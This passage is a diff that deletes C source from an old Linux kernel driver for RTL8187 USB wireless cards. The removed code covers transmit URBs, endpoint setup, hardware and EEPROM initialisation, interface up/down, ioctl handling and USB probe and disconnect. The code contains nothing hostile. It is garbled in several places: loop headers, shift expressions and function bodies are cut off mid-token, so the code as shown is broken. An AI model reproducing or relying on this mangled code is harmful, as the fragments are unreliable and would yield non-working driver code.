while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - priv->rx_urb = NULL; - DMESGE("Endpoint Alloc Failure"); - return -ENOMEM; - -} - -void rtl8187_usb_deleteendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - if(priv->rx_urb){ - for(i=0;irx_urb[i]); - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - kfree(priv->rx_urb); - priv->rx_urb = NULL; - - } - -} - - -void rtl8187_set_rate(struct net_device *dev) -{ - int i; - u16 word; - int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && -// priv->ieee80211->state == IEEE80211_LINKED){ - basic_rate = ieeerate2rtlrate(240); - min_rr_rate = ieeerate2rtlrate(60); - max_rr_rate = ieeerate2rtlrate(240); - -// -// }else{ -// basic_rate = ieeerate2rtlrate(20); -// min_rr_rate = ieeerate2rtlrate(10); -// max_rr_rate = ieeerate2rtlrate(110); -// } - - write_nic_byte(dev, RESP_RATE, - max_rr_rate<beacon_interval); - rtl8187_net_update(dev); - /*update timing params*/ - rtl8180_set_chan(dev, priv->chan); - - rtl8187_set_rxconf(dev); -} - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv); - -short rtl8180_init(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - int i, j; - u16 word; - int ch; - //u16 version; - //u8 hw_version; - //u8 config3; - - //FIXME: these constants are placed in a bad pleace. - -// priv->txbuffsize = 1024; -// priv->txringcount = 32; -// priv->rxbuffersize = 1024; -// priv->rxringcount = 32; -// priv->txbeaconcount = 3; -// priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; - /* ^^ the SKB does not containt a partial RXed - * packet (is empty) - */ - - if(!channels){ - DMESG("No channels, aborting"); - return -1; - } - ch=channels; - // set channels 1..14 allowed in given locale - for (i=1; i<=14; i++) { - (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); - ch >>= 1; - } - //memcpy(priv->stats,0,sizeof(struct Stats)); - - //priv->irq_enabled=0; - -// priv->stats.rxdmafail=0; - priv->stats.txrdu=0; -// priv->stats.rxrdu=0; -// priv->stats.rxnolast=0; -// priv->stats.rxnodata=0; - //priv->stats.rxreset=0; - //priv->stats.rxwrkaround=0; -// priv->stats.rxnopointer=0; - priv->stats.txnperr=0; - priv->stats.txresumed=0; -// priv->stats.rxerr=0; -// priv->stats.rxoverflow=0; -// priv->stats.rxint=0; - priv->stats.txnpokint=0; - /*priv->stats.txhpokint=0; - priv->stats.txhperr=0;*/ - priv->stats.rxurberr=0; - priv->stats.rxstaterr=0; - priv->stats.txoverflow=0; - priv->stats.rxok=0; -// priv->stats.txbeaconerr=0; - priv->stats.txlperr=0; - priv->stats.txlpokint=0; - - priv->ieee80211->iw_mode = IW_MODE_INFRA; - - priv->retry_rts = DEFAULT_RETRY_RTS; - priv->retry_data = DEFAULT_RETRY_DATA; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; - priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; - spin_lock_init(&priv->tx_lock); - INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); - sema_init(&priv->wx_sem,1); - tasklet_init(&priv->irq_rx_tasklet, - (void(*)(unsigned long))rtl8180_irq_rx_tasklet, - (unsigned long)priv); - - //priv->ieee80211->func = - // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); - //memset(priv->ieee80211->func, 0, - // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; - priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | - IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | - /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - - priv->ieee80211->active_scan = 1; - priv->ieee80211->rate = 110; //11 mbps - priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; - priv->ieee80211->host_encrypt = 1; - priv->ieee80211->host_decrypt = 1; - priv->ieee80211->start_send_beacons = rtl8187_beacon_tx; - priv->ieee80211->stop_send_beacons = rtl8187_beacon_stop; - //priv->ieee80211->softmac_hard_start_xmit = rtl8180_hard_start_xmit; - priv->ieee80211->softmac_hard_start_xmit = NULL; - priv->ieee80211->set_chan = rtl8180_set_chan; - priv->ieee80211->link_change = rtl8187_link_change; - priv->ieee80211->softmac_data_hard_start_xmit = rtl8180_hard_data_xmit; - priv->ieee80211->data_hard_stop = rtl8180_data_hard_stop; - priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; - //priv->ieee80211->start_send_beacons = NULL; - //priv->ieee80211->stop_send_beacons = NULL; - - priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - - priv->card_8185 = 2; - priv->phy_ver = 2; - priv->card_type = USB; - - #if 0 - hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - - switch (hw_version){ - case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - 